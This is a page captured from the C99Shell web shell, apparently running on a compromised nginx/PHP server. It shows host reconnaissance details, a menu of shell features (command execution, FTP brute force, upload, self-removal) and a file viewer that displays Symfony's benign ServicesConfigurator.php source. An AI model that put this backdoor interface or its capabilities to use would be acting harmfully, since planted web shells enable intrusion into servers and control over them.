!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Symfony/Component/DependencyInjection/Loader/Configurator/   drwxr-xr-x
Free 83.24 GB of 96.73 GB (86.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ServicesConfigurator.php (6.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Loader\Configurator;

use 
Symfony\Component\DependencyInjection\Alias;
use 
Symfony\Component\DependencyInjection\ChildDefinition;
use 
Symfony\Component\DependencyInjection\ContainerBuilder;
use 
Symfony\Component\DependencyInjection\Definition;
use 
Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use 
Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;
use 
Symfony\Component\DependencyInjection\Loader\PhpFileLoader;

/**
 * @author Nicolas Grekas <[email protected]>
 */
class ServicesConfigurator extends AbstractConfigurator
{
    public const 
FACTORY 'services';

    private 
$defaults;
    private 
$container;
    private 
$loader;
    private 
$instanceof;
    private 
$path;
    private 
$anonymousHash;
    private 
$anonymousCount;

    public function 
__construct(ContainerBuilder $containerPhpFileLoader $loader, array &$instanceofstring $path nullint &$anonymousCount 0)
    {
        
$this->defaults = new Definition();
        
$this->container $container;
        
$this->loader $loader;
        
$this->instanceof = &$instanceof;
        
$this->path $path;
        
$this->anonymousHash ContainerBuilder::hash($path ?: mt_rand());
        
$this->anonymousCount = &$anonymousCount;
        
$instanceof = [];
    }

    
/**
     * Defines a set of defaults for following service definitions.
     */
    
final public function defaults(): DefaultsConfigurator
    
{
        return new 
DefaultsConfigurator($this$this->defaults = new Definition(), $this->path);
    }

    
/**
     * Defines an instanceof-conditional to be applied to following service definitions.
     */
    
final public function instanceof(string $fqcn): InstanceofConfigurator
    
{
        
$this->instanceof[$fqcn] = $definition = new ChildDefinition('');

        return new 
InstanceofConfigurator($this$definition$fqcn$this->path);
    }

    
/**
     * Registers a service.
     *
     * @param string|null $id    The service id, or null to create an anonymous service
     * @param string|null $class The class of the service, or null when $id is also the class name
     */
    
final public function set(?string $idstring $class null): ServiceConfigurator
    
{
        
$defaults $this->defaults;
        
$definition = new Definition();

        if (
null === $id) {
            if (!
$class) {
                throw new \
LogicException('Anonymous services must have a class name.');
            }

            
$id sprintf('.%d_%s', ++$this->anonymousCountpreg_replace('/^.*\\\\/'''$class).'~'.$this->anonymousHash);
        } elseif (!
$defaults->isPublic() || !$defaults->isPrivate()) {
            
$definition->setPublic($defaults->isPublic() && !$defaults->isPrivate());
        }

        
$definition->setAutowired($defaults->isAutowired());
        
$definition->setAutoconfigured($defaults->isAutoconfigured());
        
// deep clone, to avoid multiple process of the same instance in the passes
        
$definition->setBindings(unserialize(serialize($defaults->getBindings())));
        
$definition->setChanges([]);

        
$configurator = new ServiceConfigurator($this->container$this->instanceoftrue$this$definition$id$defaults->getTags(), $this->path);

        return 
null !== $class $configurator->class($class) : $configurator;
    }

    
/**
     * Removes an already defined service definition or alias.
     *
     * @return $this
     */
    
final public function remove(string $id): self
    
{
        
$this->container->removeDefinition($id);
        
$this->container->removeAlias($id);

        return 
$this;
    }

    
/**
     * Creates an alias.
     */
    
final public function alias(string $idstring $referencedId): AliasConfigurator
    
{
        
$ref = static::processValue($referencedIdtrue);
        
$alias = new Alias((string) $ref);
        if (!
$this->defaults->isPublic() || !$this->defaults->isPrivate()) {
            
$alias->setPublic($this->defaults->isPublic());
        }
        
$this->container->setAlias($id$alias);

        return new 
AliasConfigurator($this$alias);
    }

    
/**
     * Registers a PSR-4 namespace using a glob pattern.
     */
    
final public function load(string $namespacestring $resource): PrototypeConfigurator
    
{
        return new 
PrototypeConfigurator($this$this->loader$this->defaults$namespace$resourcetrue);
    }

    
/**
     * Gets an already defined service definition.
     *
     * @throws ServiceNotFoundException if the service definition does not exist
     */
    
final public function get(string $id): ServiceConfigurator
    
{
        
$definition $this->container->getDefinition($id);

        return new 
ServiceConfigurator($this->container$definition->getInstanceofConditionals(), true$this$definition$id, []);
    }

    
/**
     * Registers a stack of decorator services.
     *
     * @param InlineServiceConfigurator[]|ReferenceConfigurator[] $services
     */
    
final public function stack(string $id, array $services): AliasConfigurator
    
{
        foreach (
$services as $i => $service) {
            if (
$service instanceof InlineServiceConfigurator) {
                
$definition $service->definition->setInstanceofConditionals($this->instanceof);

                
$changes $definition->getChanges();
                
$definition->setAutowired((isset($changes['autowired']) ? $definition $this->defaults)->isAutowired());
                
$definition->setAutoconfigured((isset($changes['autoconfigured']) ? $definition $this->defaults)->isAutoconfigured());
                
$definition->setBindings(array_merge($this->defaults->getBindings(), $definition->getBindings()));
                
$definition->setChanges($changes);

                
$services[$i] = $definition;
            } elseif (!
$service instanceof ReferenceConfigurator) {
                throw new 
InvalidArgumentException(sprintf('"%s()" expects a list of definitions as returned by "%s()" or "%s()", "%s" given at index "%s" for service "%s".'__METHOD__InlineServiceConfigurator::FACTORYReferenceConfigurator::FACTORY$service instanceof AbstractConfigurator $service::FACTORY.'()' get_debug_type($service), $i$id));
            }
        }

        
$alias $this->alias($id'');
        
$alias->definition $this->set($id)
            ->
parent('')
            ->
args($services)
            ->
tag('container.stack')
            ->
definition;

        return 
$alias;
    }

    
/**
     * Registers a service.
     */
    
final public function __invoke(string $idstring $class null): ServiceConfigurator
    
{
        return 
$this->set($id$class);
    }

    public function 
__destruct()
    {
        
$this->loader->registerAliasesForSinglyImplementedInterfaces();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0048 ]--